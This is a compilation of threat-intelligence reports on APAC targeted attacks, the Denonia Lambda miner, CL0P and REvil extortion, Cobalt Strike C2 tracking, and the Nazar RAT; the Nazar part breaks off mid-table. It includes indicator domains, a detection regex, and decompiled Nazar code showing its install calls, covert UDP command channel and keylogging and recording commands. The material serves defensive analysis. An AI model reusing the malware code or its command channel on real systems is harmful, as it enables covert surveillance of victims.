BKDR_SIMBOT.SMC - 6b98cfd51 deb2d0d2bc35f319f1a2f8baca6517990474d86022c00e184780b0e BKDR_SIMBOT.SMC - c03b6b9fe e15e8e7164dba2f94e50b0fc3b3716993584d7347e5ba881a900b7 BKDR_SIMBOT.SMC - e1e78c7825 e1f19fa71f02fb4929ded69c0ff961018d81790219dc3dbcc6f1c1bbd BKDR_SIMBOT.SMC
# Targeted Attack Trends in Asia-Pacific Targeted attacks or threats that compromise specifically chosen targets to steal confidential information can affect organizations in various ways, ranging from brand damage to actual revenue loss. A recent Harvard Business Review study revealed that the top three effects of targeted attacks were potential brand damage, damage to professional reputation, and potential loss of intellectual property. We continued to monitor targeted attack campaigns and trends in the Asia-Pacific region in the first half of 2014. We saw technique enhancements even though threat actors continued to exploit old vulnerabilities in various software and applications. Emails were still the most-used infection vector when instigating targeted attacks. Watering-hole attacks were also seen, just as we predicted would happen this year. One of the primary goals of targeted attacks is to exfiltrate organizations’ crown jewels or confidential company data. Based on the previously cited Harvard Business Review study, the most commonly stolen types of data were personally identifiable information (PII) (28%), authentication credentials (21%), intellectual property (20%), and other sensitive corporate/organizational data (16%). In the first half of 2014, threat actors continued to refine their tactics to stay under the radar while stealing information. The following are just some of the notable techniques they used: - **Cloud-based file storage platform abuse**: This June, threat actors used a Type II PlugX remote access tool (RAT) variant to use Dropbox as a download site for a backdoor’s command-and-control (C&C) settings. Abusing the cloud-based file storage platform allowed threat actors to better evade detection despite the implementation of network traffic monitoring. Even though this was not the first time attackers abused Dropbox, it was the first time we saw them use the platform as an update download site for their backdoor’s C&C settings. - **Windows PowerShell framework abuse**: Abusing the Windows PowerShell task automation and configuration management framework is not a commonly seen targeted attack technique. But in a case seen this May, a malicious .LNK file email attachment we detect as LNK_PRESHIN.JTT had Windows PowerShell commands that enabled it to download files and bypass execution policies to execute the files downloaded. It particularly downloaded another malicious PowerShell scripting file that downloaded the final backdoor payload. Even though the PowerShell framework is only available on computers running Windows 7 and newer OSs, the malware used in the attack also ran on computers running older OSs such as Windows XP SP2, Windows Server 2003, and Windows Vista, if these had PowerShell installed. - **Sleep timer feature abuse**: Apart from legitimate platform and framework abuse, we also saw a backdoor take advantage of built-in OS features such as sleep timer in the Siesta Campaign. The said backdoor could accept a sleep command that allowed it to remain dormant for varying periods of time before regaining access to C&C servers, most likely to evade detection. ## Spear-Phishing Emails Most of the targeted attacks seen in the region during the first half of 2014 used spear-phishing emails as the infection vector. In fact, almost 80% of the targeted attack malware arrived via email. Typically sent to employees in target organizations, spear-phishing emails convince recipients to either click a malicious link or download and execute a malicious file. Contextually relevant subjects are always used. One such attack used news of Lao People’s Democratic Republic’s Deputy Prime Minister’s death as a lure. ## Threat Landscape Data from the first half of 2014 shows that Microsoft Office files are the most commonly used attachments. This is not a surprise, as these are widely used within any type of organization. In addition, many organizations are not able to regularly patch or upgrade their versions of Microsoft Office, leaving many exploitable vulnerabilities for an attacker to target. Commonly seen email file attachments used in targeted attacks include: - Microsoft Office - RAR - 7-ZIP - ZIP - PDF - MIME - JPEG Zero-day and tried-and-tested exploits both figured in the targeted attack landscape. As in the latter half of 2013, threat actors continued to exploit a bug in Windows Common Controls (CVE-2012-0158) addressed by Microsoft Security Bulletin MS12-027. The PLEAD campaign against Taiwan ministries, in particular, was such an attack. Exploiting old vulnerabilities still worked because some IT administrators sometimes forgo the application of security fixes to avoid disrupting critical business operations. Another reason could be patch testing prior to actual implementation to ensure that fixes would not have adverse effects on corporate environments. A zero-day vulnerability in Windows XP and Windows Server 2003 was also exploited in a targeted attack this April prior to the end of support for the OSs. The said zero-day bug was patched via MS14-002 a couple of days after. The threat actors behind the Taidoor Campaign, active since 2008, took advantage of a Microsoft Office vulnerability this May. Likewise, a vulnerability in Ichitaro (CVE-2013-5990), a popular word processor in Japan, was also exploited in the ANTIFULAI Campaign. Threat actors favored Microsoft Office, Adobe Reader, and Ichitaro as software vulnerability exploitation targets. ## Targeted Attack Emails Documents (.DOC and .RTF files) unsurprisingly work as targeted attack payload carriers, as these commonly changed hands in any kind of organization. Unsuspecting recipients often execute attacks’ final payloads because they believe they are opening legitimate files from trusted senders. Most commonly used file types in targeted attacks include: - DOC - RTF - PDF - XLS - Others Most of the malware used in targeted attacks were Trojans or Trojan spyware (53%), followed by backdoors (46%). Backdoors typically aid in establishing C&C communications and executing remote commands while Trojans and Trojan spyware aid in downloading the final payload and exfiltrating data. The most-used malware in targeted attacks in the first half of 2014 include PASSVIEW, RIMAGE, XTREME, DarkComet, and HCOREPWSTL. The DarkComet RAT was used in targeted attacks back in 2012. It spread through Skype chats. The Xtreme RAT was also used in targeted attacks against the U.S., Israeli, and other governments that same year. The following charts show the PASSVIEW- and DarkComet-related victim locations based on the malware used. For both malware, most victims are concentrated in the Asia-Pacific region. ## Targeted Attack Campaigns The following were some of the active targeted attack campaigns we observed targeting Asia-Pacific countries in the first half of 2014: - **IXESHE**: Active since at least 2009, this campaign targeted East Asian governments, Taiwanese electronics manufacturers, and a telecommunications company. It is notable for its use of compromised servers for command and control to evade detection. - **PLEAD**: This campaign has become well-known for its use of the right-to-left override (RTLO) technique to make targets think they were opening a PowerPoint file instead of a malicious .SCR file. - **Taidoor**: Active since March 2009, the threat actors behind this campaign used a seemingly harmless document that when opened actually executed a malicious file in the background. It also used malicious .DOC files to exploit CVE-2012-0158, one of the most commonly exploited bugs up to this day. - **ANTIFULAI**: This campaign targets government agencies and privately owned companies in Japan by exploiting a bug in Ichitaro, which allowed the execution of malicious arbitrary code. The malware related to this campaign successfully hid its C&C server URLs to evade detection. ## Siesta Campaign The Siesta Campaign was so named due to its final payload’s ability to receive sleep commands, which allowed it to stay dormant for various periods of time and in turn evade detection. It reportedly targeted organizations from the following industries: - Consumer goods and services - Energy - Finance - Health care - Media and telecommunications - Public administration - Security and defense - Transport and traffic Like most targeted attacks, the threat actors behind the Siesta Campaign sent emails to chosen executives in specific organizations using fake email addresses of supposed colleagues. They did not, like so many attacks, use an attachment. They instead used a legitimate-looking download link to compromise their chosen network targets. The .ZIP file downloaded contains an executable file we detect as TROJ_SLOTH, a supposed .PDF file. When executed, SLOTH opens or drops a valid .PDF file to hide malicious activity running in the background. It has a backdoor component we detect as BKDR_SLOTH.B, which accesses the C&C server link. The said backdoor waits for the following commands: - **sleep**: Tells the malware to sleep for a certain period of time. - **download**: Tells the malware to download and execute a file from a certain URL. Another SLOTH variant we detect as BKDR_SLOTH.A was used in the Siesta Campaign. This variant, however, accessed a different C&C server. ## ESILE Campaign The threat actors behind the ESILE Campaign continued to set their sights on governmental institutions in the Asia/Pacific region. They used backdoors we detect as BKDR_ESILE variants to remotely execute malicious commands on compromised networks. Further investigation revealed that ESILE variants exploited the same bug that Taidoor malware did, CVE-2012-0158. Unlike the Taidoor malware, however, ESILE variants could modify the document template to have varying payloads. This targeted attack technique has been used by other malware such as FARFLI and HORSMY. As in most targeted attack cases, ESILE arrived via spear-phishing emails sporting varying social engineering lures. Protecting networks against targeted attacks strongly calls for building threat intelligence. This can include lists of known indicators of compromise (IoCs) and C&C servers that can serve as reference to determine if an organization’s network has already been compromised, thus breaking the targeted attack chain. IT administrators would do well to check for the following known ESILE Campaign components to protect their networks: - Strings: - EliseDLL.pdb - EliseDLL - BLOB file component that is typically dropped as {random}.CAB - C&C HTTP requests that match the regular expression (regex), (POST|GET)\s /[a-f0-9]{10}/page_[0-9]{10}.html Part of a bigger campaign known as “APT0LSTU,” the ESILE and EVORA Campaigns used RATs to establish command and control. Our findings showed that the group behind these (LStudio) had 71 C&C servers in 10 countries. ## Defending Networks Against Targeted Attacks Protecting networks against targeted attacks means busting common misconceptions about them. One such misconception is that targeted attacks are one-time efforts. The truth: Targeted attacks are well-planned and can be launched several times until they successfully compromise intended network targets. IT administrators are strongly advised to look for the following signs of targeted attacks as countermeasures: - Search for injected Domain Name System (DNS) records as attackers alter DNS settings to ensure their malicious activity is not yet being detected by already-installed solutions. - Check accounts for failed or irregular log-in attempts because these could indicate lateral movement in target networks. - Check for unknown large files as these may hold stolen data ready for exfiltration. - Monitor network logs and protocols to check for abnormal connections made. - Check abnormal increases in individual employees’ email activity logs. Keep in mind that a one-size-fits-all solution to protect against targeted attacks does not exist. Organizations need to implement what we call a “Custom Defense Strategy,” which uses advanced threat detection technologies and shared IoCs and intelligence to detect, analyze, and respond to attacks that are invisible to standard security products.
# First Malware Targeting AWS Lambda Serverless Platform Discovered A first-of-its-kind malware targeting Amazon Web Services' (AWS) Lambda serverless computing platform has been discovered in the wild. Dubbed "Denonia" after the name of the domain it communicates with, the malware uses newer address resolution techniques for command and control traffic to evade typical detection measures and virtual network access controls, Cado Labs researcher Matt Muir said. The artifact analyzed by the cybersecurity company was uploaded to the VirusTotal database on February 25, 2022, sporting the name "python" and packaged as a 64-bit ELF executable. However, the filename is a misnomer, as Denonia is programmed in Go and harbors a customized variant of the XMRig cryptocurrency mining software. The mode of initial access is unknown, although it's suspected it may have involved the compromise of AWS Access and Secret Keys. Another notable feature of the malware is its use of DNS over HTTPS (DoH) for communicating with its command-and-control server ("gw.denonia[.]xyz") by concealing the traffic within encrypted DNS queries. In a statement shared with The Hacker News, Amazon stressed that "Lambda is secure by default, and AWS continues to operate as designed," and that users violating its acceptable use policy (AUP) will be prohibited from using its services. While Denonia has been clearly designed to target AWS Lambda since it checks for Lambda environment variables prior to its execution, Cado Labs also found that it can be run outside of it in a standard Linux server environment. "The software described by the researcher does not exploit any weakness in Lambda or any other AWS service," the company said. "Since the software relies entirely on fraudulently obtained account credentials, it is a distortion of facts to even refer to it as malware because it lacks the ability to gain unauthorized access to any system by itself." However, "python" isn't the only sample of Denonia unearthed so far, with Cado Labs finding a second sample (named "bc50541af8fe6239f0faa7c57a44d119.virus") that was uploaded to VirusTotal on January 3, 2022. "Although this first sample is fairly innocuous in that it only runs crypto-mining software, it demonstrates how attackers are using advanced cloud-specific knowledge to exploit complex cloud infrastructure, and is indicative of potential future, more nefarious attacks," Muir said.
# CL0P and REvil Escalate Their Ransomware Tactics March 11, 2021 Over the past several weeks, Flashpoint has observed increased activity from ransomware groups REvil and CL0P. Adding new attack capabilities and more aggressive extortion techniques, the groups are rapidly extending their respective ransomware arsenals in what appears to be an escalation of both ransomware attacks and tactics. ## CL0P Ransomware Hones in on Accellion Breach Victims Most recently, on March 8, 2021, CL0P began to extort the data of a new victim, Flagstar Bank, to its ransomware blog. Included in this post were samples of presumed Flagstar Bank customer and employee information—including names, partial SSNs, and physical and email addresses. CL0P signaled that the email addresses and other personally identifiable information (PII) it posted were for sale and that they would entertain offers to purchase and obtain the data directly or pay for its deletion from the CL0P site. ## Following CL0P Doxxing, Flagstar Bank Announces Unlinked Data Breach Later on that day, Flagstar Bank issued a statement on its website detailing the likely connected and exploited vulnerability the bank uncovered due to its use of third-party vendor Accellion and its file-sharing platform; Flagstar also disclosed that some of its data had been exposed as part of this incident. The extent of Accellion’s breach continues to unfold with this news, already blamed for other major breaches like Jones Day law firm. ## CL0P’s Multi-Pronged Extortion Ransomware to Catch On Fast Although it’s common practice for extortionist ransomware groups to exfiltrate large swaths of data prior to deploying its encryption malware, the primary objective has, historically, been to prove to ransomware victims the extent of the group’s successful compromise. In these historical cases, the data is taken in a “snatch and grab” manner, without consideration given to the stolen data’s value or type. Similarly, there’s little to no forethought given to the selection of the sample data that the ransomware group chooses to post to its blog. Interestingly, in this recent case with Flagstar Bank, there was no apparent or acknowledged IT environment lockdown, and thus no ransomware attack occurred by definition. However, given the sensitive and valuable nature of the Flagstar data that CL0P posted to its blog, it’s clear that CL0P was at least moderately successful in its attack. By repurposing the exfiltrated data to conduct different non-ransomware extortion tactics on the same victim, CL0P extended the data’s fungibility and furthered its monetization goals. Flashpoint expects that other ransomware groups will be quick to adopt CL0P’s multi-pronged extortion ransomware strategy, given the relatively minor uplift it requires to repurpose the already-stolen data. ## REvil Adds DDoS and Phoning to Ransomware Arsenal On February 25, 2021, the REvil spokesperson operating under the alias “Unknown” on the top-tier Russian-language cybercrime forums XSS and Exploit announced that the ransomware group was actively looking to add new partners to its organization to provide English-language negotiations, distributed denial-of-service (DDoS) attacks, and access to “tier 1” networks with revenue greater than $1 billion USD. Two weeks later, on March 4, 2021, the REvil spokesperson announced another round of new capabilities, this time aimed at improving their affiliates’ abilities to pressure victims into paying the ransom. These new capabilities included L3 and L7 DDoS attacks in “test mode” and the ability to make anonymized phone calls to victims’ business associates and the media. Specifically, the REvil spokesperson announced the following on XSS [translated from Russian]: > “We now have the opportunity to check your networks (calls to the media, counter agents of companies) to exert maximum pressure. In order to do this, you have to indicate the domain of the company in the description of the network, who does it communicate with, and so on. You can also add contacts for spam and checking (phone numbers) to the chat.” ## REvil Keeps Pace with Competitor Collectives While these ransomware extortion tactics are new for REvil, other competitor ransomware collectives have long offered these capabilities. For instance, the ransomware groups Avaddon and Suncrypt currently use DDoS techniques as part of their ransomware TTPs. And the now-defunct Maze ransomware group and several others are known to use cold calling techniques to ratchet up extortion pressure on their victims. ## Try Flashpoint’s Expanded Ransomware Libraries and Response Services With Flashpoint Ransomware Readiness and Response, we prepare enterprise customers worldwide to face ransomware attacks and actively support them as live incidents unfold. Sign up for a risk-free 90-day trial and see Flashpoint Intelligence in action—including our recently expanded ransomware threat libraries with more data and new ways to explore and analyze targeted threats. Equipped with Flashpoint, you’ll leap ahead of ransomware attacks and the cybercriminal groups who execute them.
# Tracking Cobalt Strike Servers Used in Cyberattacks on Ukraine **By IronNet Threat Research Team with lead contributions by Peter Rydzynski and Brent Eskridge, Ph.D** On April 18, 2022, CERT-UA published alert #4490, which describes a malicious email campaign targeting Ukraine. The email attempts to deploy a Cobalt Strike beacon on the victim's system through the use of a MS Office macro. In the alert, CERT-UA provides a list of indicators of compromise (IoCs), including a list of IP addresses and domains used in the attack that are known to be Cobalt Strike command and control (C2) servers. IronNet Threat Research regularly monitors the internet for malicious C2 servers, including Cobalt Strike. As a result of this monitoring, we have a longitudinal dataset on the C2 servers hosted on the IP addresses and domains referenced in the alert starting in May 2021. This report provides an analysis of this data in an attempt to inform the community on the observed patterns of these IoCs and other indicators that may be related to those referenced in the alert. ## Cobalt Strike: Malleable Profiles One of the ways Cobalt Strike operators obfuscate communications between a beacon planted on a victim system and the C2 server is through the use of a malleable profile. A malleable profile allows the operator to configure the beacon communication to masquerade as benign network traffic. Some of the settings that can be modified are: - the sleep time between callbacks to the C2 server, - jitter in the callback sleep time, - the user agent used in the communication, and - the URI used in the HTTP request to the C2 server. While these malleable profiles are useful in obfuscating communications, they can also be used as an approximate fingerprint when analyzing a Cobalt Strike C2 server. While most actors use open source malleable profiles or a malleable profile generator, which makes attribution or clustering challenging, a server's profile can be combined with other attributes to identify patterns. A full discussion of malleable profiles is beyond the scope of this report, but there are numerous descriptions available elsewhere. Two of the profiles that were seen in the campaign targeting Ukraine were a JQuery profile and a minimal defender bypass profile. JQuery is a popular choice of emulation amongst threat actors; however, the minimal defender bypass profile is something that we’ve only noticed in the past few months and only in this campaign. Of the options available in malleable profiles, the request uniform resource indicator (URI) is the most varied and the most useful for attempting to fingerprint, or at least categorize, C2 servers using the malleable profile. In total, eight different URIs were observed in use by the C2 servers mentioned in the CERT-UA alert, indicating that there were at least eight different malleable profiles used. Of particular interest are the two profiles observed in 2022, which overlap with Russia's invasion of Ukraine and the associated cyber attacks. The profile with the `/jquery-3.3.1.min.js` URI is the more common of the two profiles, both in this particular set of IoCs and in IronNet's full data set of Cobalt Strike C2 servers. This particular malleable profile can be found on the internet and is listed as a reference for designing Cobalt Strike malleable profiles. As such, use of this profile makes attribution difficult since it is used everywhere. The second profile, which is referred to as the minimal defender bypass profile and has the `/apiv8/getStatus` URI, can also be found on the internet, but its observed use is far more rare than the previous one. These servers were the first observations we have had of this profile. At first, we thought this was due to the relative novelty of the profile. However, further inspection indicates the profile is intended to be used behind an Nginx redirector to hide the C2 server from fingerprinting. Both of these profiles used in the most recent attacks are pre-made and provide a low effort configuration cost. We often see malleable profiles that are customized versions of profiles found on the internet. For example, the domain `klycnmik[.]com`, which uses the same jQuery URI, has been observed in use by Cobalt Strike servers associated with Emotet. ## Cobalt Strike: Watermarks Another means of categorizing and analyzing Cobalt Strike C2 servers is through the use of the server's watermark. Each payload deployed by a server contains a watermark, which is a unique number associated with the Cobalt Strike license. But since stolen or cracked copies of Cobalt Strike are frequently used by threat actors, using a watermark as a fingerprint isn't foolproof. For example, a watermark value of 0 indicates a cracked version. Unsurprisingly, this is the most commonly found watermark in our data. Despite this, watermarks can still be used for analysis. The watermarks we observed being used by the IoCs described by CERT-UA are shown in the report. The watermark of particular interest here is `1580103824`. It is shared by all the C2 servers using the `/apiv8/getStatus` URI, which was specifically noted in the CERT-UA alert. While C2 servers with different profiles and configurations could potentially have this same watermark, we rarely observe this watermark, but have seen an increase in recent weeks. Note that this watermark is very similar (one digit differs) from one associated with a hacked version of Cobalt Strike that is frequently found on dark web forums. Of the five domains that share the rare URI and watermark, only four are mentioned in the CERT-UA alert. These are: `axikok[.]com`, `blopik[.]com`, `dezword[.]com`, and `verofes[.]com`. The fifth observed domain, `furfen[.]com`, is not mentioned in the CERT-UA alert, but has, in addition to our own scans, been observed by other sources to be a Cobalt Strike C2 server. While a URI and watermark is insufficient to confirm that this server is related to the others, further analysis detailed below lends more credence to the argument that they are related. ## NGINX We found the use of the minimal defender bypass profile to be of particular interest, not because it was used, but because they took the time to lock down the C2 communications, but left the staging wide open. The profile is intended to be used with a redirector to prevent the C2 server from being fingerprinted with conventional methods. This is a fairly common technique that is not unique to Cobalt Strike and has been utilized by threat actors for quite some time. Redirectors are positioned between the C2 server and the beacon to hide the true location of the C2 server. They are often configured to only redirect specific traffic from a beacon to the C2 server and to direct the remaining traffic to a legitimate server, making the detection of these servers challenging. ## Cobalt Strike Infrastructure Apart from server configurations, there are a number of interesting relationships between the infrastructure of the C2 servers mentioned in the alert. Over the course of the last 15 months, there were three distinct clusters of activity for the IoCs described in the Ukrainian CERT alert. In this cluster, 35 different domains were observed, but, as discussed above, they share many similarities such as profiles and watermarks. The vast majority of the hosts listen on either port 80 (HTTP), 443 (HTTPS), or both, as would be expected. One server, `axikok[.]com`, primarily listened on 8443 (HTTPS), but did have port 8080 (HTTP) opened intermittently. According to our data, the C2 servers in the alert are all hosted in one of four hosting providers: HostKey, HostKey B.V., Endurance International, and UAB Nacionalinis Telekomunikaciju, with 33 of the 40 hosted by HostKey as far back as June 2021. As for the domains themselves, all of the domains used in the most recent campaign were registered to one of three registrars: Eranet, WEBCC, and NiceNIC, with 26 of the 30 domains registered at Eranet since January 10, 2022. ## Next Steps It’s clear that the ease of use and flexibility that Cobalt Strike provides is one of the main reasons that it remains so prevalent amongst threat actors. Reflecting on the analysis of our dataset matched with the indicators provided in the UA CERT alert, there are a few open questions remaining. First, we see less sophisticated threat actors still deploy Cobalt Strike servers with little to no OPSEC, allowing even the most basic detections of C2 frameworks. Thus, will threat actors continue to forgo OPSEC concerns as long as they continue to dominate victims with high success rates? Second, we wonder whether the majority of threat actors will utilize open source malleable profiles or a malleable profile generator like C2 Concealer that takes static attributes from a list and combines them to a single profile. Furthermore, do threat actors take into consideration the environment they are targeting when selecting a malleable profile, or are they simply choosing a popular service they know will thwart most defenders? Answers to these questions will be beneficial to detecting Cobalt Strike servers in the future. ## Additional IOCs IronNet observed the following domains present in Cobalt Strike beacon payloads being served up by the same Cobalt Strike servers mentioned in the Ukrainian CERT alert: - `furfen[.]com` - `klycnmik[.]com` - `shizij[.]com` - `ngrety[.]com` - `korunder[.]com` - `vedingumbr[.]com` - `jenevabaiden[.]com` - `zeronyk[.]com` - `shevronf[.]com` - `dunclikf[.]com` - `nentundo[.]com` - `gelmutol[.]com` - `axelkim[.]com` - `gookju[.]com` **About IronNet** Founded in 2014 by GEN (Ret.) Keith Alexander, IronNet, Inc. (NYSE: IRNT) is a global cybersecurity leader that is transforming how organizations secure their networks by delivering the first-ever Collective Defense platform operating at scale. Employing a number of former NSA cybersecurity operators with offensive and defensive cyber experience, IronNet integrates deep tradecraft knowledge into its industry-leading products to solve the most challenging cyber problems facing the world today.
# Nazar: Spirits of the Past ## Introduction Those were some of the words that the Equation Group (NSA) operators left in the records documenting their attacks against target systems, and which were later leaked by the Shadow Brokers. The plethora of information exposed in the fifth and last leak by the Shadow Brokers, called “Lost in Translation”, and the following consequences that took shape in WannaCry and NotPetya among other things, makes this a changing point in the game of cyber security as we know it. Recently, security researcher Juan Andres Guerrero-Saade revealed a previously misidentified and unknown threat group, called Nazar, which was part of the last leak by the Shadow Brokers. In this research, we will expand upon the analysis done by Juan and another which was written by Maciej Kotowicz, and will provide an in-depth analysis of each of the Nazar components. But the real question is, do those new revelations add a missing piece to the puzzle, or do they show us how much of the puzzle we are missing? ## Prior Knowledge While the “Lost in Translation” leak by the Shadow Brokers brought infamous exploits such as EternalBlue into the limelight, it contained many more valuable components that showed some of the possible precautions taken by the Equation Group operators before launching an attack. A screenshot from the original post by the Shadow Brokers For example, among the leaked files was one called “drv_list.txt“, which included a list of driver names and corresponding remarks that were sent back to the operators if the drivers were found on the target system. Naturally, the list contained many drivers that could detect the presence of an anti-virus product or a security solution (ourselves included): **Drivers mentioned in “drv_list.txt”** But even more curious were the names of malicious drivers in this list, which if found could indicate that the target system has already been compromised by another attacker, and would then warn the operators to “pull back”. Another pivotal component in the Equation Group’s arsenal that is in charge of such checks is called “Territorial Dispute”, or “TeDi”. **Territorial Dispute, as seen in the leaked sources** Similar to a scan conducted by a security product, “TeDi” consists of 45 signatures that are used to search the target system for registry keys or filenames associated with other threat groups. But we can assume that the end purpose in this case, unlike that of a security scan, is to make sure that Equation Group’s operations are not disrupted and that their own tools are not detected by other adversaries (or “other peeps”, as they are called in “TeDi”) monitoring the same system. **Code snippet from TeDi’s leaked sources** In certain cases, this also guarantees that the Equation Group themselves do not disrupt the ongoing operations of “friendly” threat groups, and do not attack the same target. Extensive research work has been done by CrySys Labs in 2018 to try and map each of the 45 signatures to the respective threat group it is meant to detect since no names were included in “TeDi” itself. **Examples for signatures found on TeDi’s leaked sources** Despite the relatively scarce amount of information it contains, security researchers often revisit “TeDi” in an attempt to get a better understanding of threat groups that the Equation Group had visibility to back then, as some of which are still (to this day) unknown to the public. Security researcher Juan Andres Guerrero-Saade has shown that the 37th signature in “TeDi” which looks for a file called “Godown.dll” points to what might be an Iranian threat group he dubbed “Nazar”, rather than a Chinese one as initially thought in the CrySys Lab report. **SIG37, the signature to detect “Nazar” by looking for “godown.dll”** The beauty of the “TeDi” project is perhaps in its minimalism: the small number of signatures it contained gave the Equation Group the capability of detecting the activity of notorious threat groups that have eluded detection and managed to remain in the shadows for years: Turla, Duqu, Dark Hotel, and the list goes on. This is the result of what we can only estimate as years of intelligence and research work on the Equation Group’s part. Equipped with this knowledge we set out to find more about the mysterious newly discovered player included in this watchlist: Nazar. ## Execution Flow Nazar’s activity is believed to have started somewhere around 2008, meaning that the group was active for at least four years, as the latest samples were created in 2012. The CrySys Labs report pointed to a file possibly related to the 37th signature, which turned out to be an anti-virus signature database from 2015 that detected this unique Nazar artifact, “Godown.dll”. Surprisingly, the same signature contained names of the other artifacts that we have seen being used by the Nazar malware (and will explain in detail in the following sections), meaning that some security companies were already fully aware of this malicious activity back then, prior to the “TeDi” leak. **An anti-virus signature that was detecting Nazar** The initial binary that is executed in Nazar’s flow is `gpUpdates.exe`. It is a Self-Extracting Archive (SFX) created by a program called “Zip 2 Secure EXE“. Upon execution, `gpUpdates` writes three files to disk: `Data.bin`, `info`, and `Distribute.exe`. Then, `gpUpdates.exe` will start `Distribute.exe` which operates as an installing component. ### Distribute.exe At the start, `Distribute.exe` will read the other two files that were dropped by `gpUpdates`: `info` and `Data.bin`. The `Data.bin` file is a binary blob that contains multiple PE files that are concatenated in a sequence. The `info` file is a very small file that contains a simple struct with the lengths of the PE files in `Data.bin`. `Distribute.exe` will read `Data.bin` as a stream, file by file, in the order of file lengths as shown in `info`. The following table shows the files concatenated in `Data.bin` against the lengths written in `info`. | Data.bin (sequence of files) | info (lengths) | |-------------------------------|----------------| | svchost.exe | 213504 | | Filesystem.dll | 262219 | | ViewScreen.dll | 196608 | | lame_enc.dll | 162304 | | hodll.dll | 57344 | | Godown.dll | 32768 | After the aforementioned files are dropped to the disk, `Distribute.exe` will register 3 of the DLL files to the registry, by using `regsvr32`. ```plaintext ShellExecuteA(0, "open", "regsvr32.exe", "Godown.dll -s", 0, 0); ShellExecuteA(0, "open", "regsvr32.exe", "ViewScreen.dll -s", 0, 0); ShellExecuteA(0, "open", "regsvr32.exe", "Filesystem.dll -s", 0, 0); ``` Afterwards, it uses `CreateServiceA` to add `svchost.exe` as a service named “EYService”, and it will then start the service and exit. This service, as we will explain soon, is the core component in the flow and is responsible for processing the commands sent by the attacker. ### svchost.exe / EYService This service is the main component in the attack, and it orchestrates the entire modules dropped and loaded by Nazar. In a sense, the `EYService` is only a marionette controlled by a puppeteer that sends commands to it. The communication protocol will be thoroughly explained in later parts of this blog post. As commonly seen in RAT-like components, this service mainly contains a list of supported commands, and each of these commands is assigned with a function to handle it upon a request from the attacker. The full list of commands is listed below. As other components in Nazar, this module also does not demonstrate novel techniques or high-quality of written code. In fact, this module, like the others, is mostly based on open-source libraries that were commonly available at the time. To manage traffic and sniff packets, Nazar uses Microolap‘s Packet Sniffer SDK. To record the victim’s microphone it uses “Lame” Mp3 encoding library. For keylogging it uses KeyDLL3. BMGLib is used to take screenshots, and even for shutting down the computer, it uses an open-source project – The ShutDown Alarm. ## Communication When analyzing the networking component, the main thing we looked for was the IP of the command and control, since this could open up new paths, and perhaps recent attacks and samples. Alas, leaving no stone unturned, we could not find such an IP, and it made sense due to how Nazar is communicating. Upon execution of the service, it begins with setting up the packet sniffing. This is done by using the Packet Sniffer SDK, in pretty much a textbook way. The main thread gets an outward-facing network adapter and uses BPF to make sure only UDP packets are forwarded to the handler. ```c DWORD __stdcall main_thread(LPVOID lpThreadParameter) { HANDLE hMgr; // edi HANDLE hCfg; // esi HANDLE hFtr; // edi hMgr = MgrCreate(); MgrInitialize(hMgr); hCfg = MgrGetFirstAdapterCfg(hMgr); do { if ( !AdpCfgGetAccessibleState(hCfg) ) break; hCfg = MgrGetNextAdapterCfg(hMgr, hCfg); } while ( hCfg ); ADP_struct = AdpCreate(); AdpSetConfig(ADP_struct, hCfg); if ( !AdpOpenAdapter(ADP_struct) ) { AdpGetConnectStatus(ADP_struct); MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg); adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); AdpCfgGetMACAddress(hCfg, &mac_address, 6); hFtr = BpfCreate(); BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u); // Get Protocol field value BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1); // Protocol == UDP BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF); BpfAddCmd(hFtr, BPF_RET, 0); AdpSetUserFilter(ADP_struct, hFtr); AdpSetUserFilterActive(ADP_struct, 1); AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0); AdpSetMacFilter(ADP_struct, 2); while ( 1 ) { if ( stop_and_ping == 1 ) { adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); connection_method(2); stop_and_ping = 0; } Sleep(1000u); } } return 0; } ``` Whenever a UDP packet arrives, its source IP is recorded to be used in the next response, whether or not there will be a response. Then, the packet’s destination port will be checked, and in case it is 1234 the UDP data will be forwarded to the command dispatcher. ```c int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id) { int length; // edi length = HIBYTE(udp_packet->length) - 8; ntohs(udp_packet->src_port); if ( ntohs(udp_packet->dst_port) != 1234 ) return 0; commandDispatcher(&udp_packet[1], src_ip, ip_id, length); return 1; } ``` ### Types of responses Each response will have its packet built from scratch, so it could be sent using PSSDK’s send methods: `AdpAsyncSend/AdpSyncSend`. There are 3 types of responses: - Send an ACK: With destination port 4000 and payload 101;0000 - Send computer information: With destination port 4000 and payload 100;<Computer Name>;<OS name> - Send a file: The content will be sent as UDP data, followed by another packet with `--- <size_of_file>`. The UDP destination port will be the little-endian value of the IP identification field in the request message. For example, if the server sent a packet (to destination port 1234) with identification `0x3456`, the malware will send its response with destination port `0x5634`. To make the options clearer, and to demonstrate how Nazar communicates, we have created a python script that can “play” the server controlled by the attacker, and communicate with the victim. The script is available in Appendix C. **A script we created to demonstrate how the server would communicate with Nazar** ### Supported Commands As we mentioned earlier, `svchost.exe`, or the service named `EYService`, contains a list of supported commands. We analyzed two versions of the RAT and found slight differences. The entire list of supported commands, in addition to our analysis notes, are presented in the table below. | Command ID | Description | |------------|-------------| | 311 | Enable keylogger by loading the ‘hodll.dll’ library to memory and manually importing the ‘installhook’ function. The keystrokes are saved with the window name to ‘report.txt’. The written content is then sent to the server. The keylogger is based on common open-source libraries called “KeyDLL3” (by Anoop Thomas) and “KeyBoard Hooks” (by H. Joseph). Command 312 will disable the keylogger. | | 139 | Shutdown the machine. The command is interacting with the `Godown.dll` component by spawning it based on its RCLSID and RIID. The `Godown` module was probably based on an open-source implementation called The ShutDown Alarm. | | 189 | Start screen capturing. The function calls the benign `ViewScreen.dll` and instructs it to save screenshots in a PNG file named `z.png`. The file is then sent to the server. The module is based on a known open-source project named “BMGLib“, written by M. Scott Heiman. Command 313 will disable the screen capturing. | | 119 | Responsible for recording audio using the victim’s Microphone. The recording is saved to `music.mp3` and sent to the server. The implementation is based on an open-source project which uses a known open source library called “LAME MP3“. Command 315 will disable the voice recording. | | 199 | List all drives in the PC (C:\, D:\, …) and save it to `Drives.txt`. The file is then sent to the server. This functionality exists as-is in `Filesystem.dll` but the newer variant of `svchost.exe` does not use the 